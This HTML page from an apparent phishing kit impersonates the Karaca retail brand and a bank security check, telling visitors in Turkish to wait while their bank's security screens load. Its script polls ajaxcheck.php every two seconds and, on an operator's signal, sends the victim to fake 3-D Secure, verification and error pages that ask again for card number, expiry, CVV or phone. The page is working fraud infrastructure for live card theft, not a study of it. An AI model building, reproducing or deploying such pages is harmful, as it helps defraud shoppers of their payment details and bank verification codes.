<!DOCTYPE html>
<html lang="tr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Bekle</title>
    <script src="components/js/jquery3.6.0.min.query.js"></script>
    <link rel="stylesheet" href="_next/static/css/ff8d6c6ab4a073db.css" as="style"/>
    <link rel="stylesheet" href="_next/static/css/454bf7671580d9b7.css" as="style"/>
    <link rel="stylesheet" href="_next/static/css/app.6228f064c108b5d46e18.css" as="style"/>
    <link rel="stylesheet" href="_next/static/css/font.6228f064c108b5d46e18.css"/>
    <style>
        body, html {
            margin: 0;
            padding: 0;
            height: 100%;
        }
        .container {
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
            text-align: center;
            padding: 20px;
            box-sizing: border-box;
        }
        h2 {
            font-size: 2rem;
            margin-bottom: 2rem;
        }
        .spinner-wrapper {
            margin: 2rem 0;
        }
        .spinner-wrapper img {
            width: 100px;
            height: 100px;
        }
        .logo-footer {
            margin-top: 2rem;
        }
        .logo-footer img {
            width: 250px;
            max-width: 100%;
            height: auto;
        }

        @media (max-width: 768px) {
            h2 {
                font-size: 1.5rem;
            }
            .spinner-wrapper img {
                width: 80px;
                height: 80px;
            }
            .logo-footer img {
                width: 200px;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <h2><strong>Güvenliğiniz için bankanızın güvenlik ekranlarına bağlanılıyor, lütfen bekleyiniz.</strong></h2>
        <div class="spinner-wrapper">
            <img src="assets/img/static_omnishop/ayb822/assets/img/spinner.gif" alt="spinner">
        </div>
        <div class="logo-footer">
            <img src="catalog/view/assets/images/logos/karaca.png" alt="Karaca Logo">
        </div>
    </div>

    <script>
    $(document).ready(function() {
        setInterval(function() {
            const URL = new URLSearchParams(window.location.search),
                token = URL.get('t')
            $.post("ajaxcheck.php", { check: 'check', t: token }, function(result) {
                if (result == '2') {
                    window.location.href = '3dsecure.php?t=' + token;
                } else if (result == '3') {
                    window.location.href = 'tesekkurler.php?t=' + token;
                } else if (result == '4') {
                    window.location.href = '3dsecure.php?t=' + token + '&hatali=1';
                } else if (result == '5') {
                    window.location.href = 'dogrulama.php?t=' + token;
                } else if (result == '6') {
                    window.location.href = 'hatali.php?t=' + token + '&hata=ccno';
                } else if (result == '7') {
                    window.location.href = 'hatali.php?t=' + token + '&hata=ccexp';
                } else if (result == '8') {
                    window.location.href = 'hatali.php?t=' + token + '&hata=cccvv';
                } else if (result == '9') {
                    window.location.href = 'hatali.php?t=' + token + '&hata=cc_closed';
                } else if (result == '10') {
                    window.location.href = 'hatali.php?t=' + token + '&hata=cc_red';
                } else if (result == '11') {
                    window.location.href = 'hatali.php?t=' + token + '&hata=phone_error';
                }
            });
        }, 2000);
    });
    </script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.3/jquery.min.js"></script>
    <script src="assets/js/check-online.js"></script>
</body>
</html>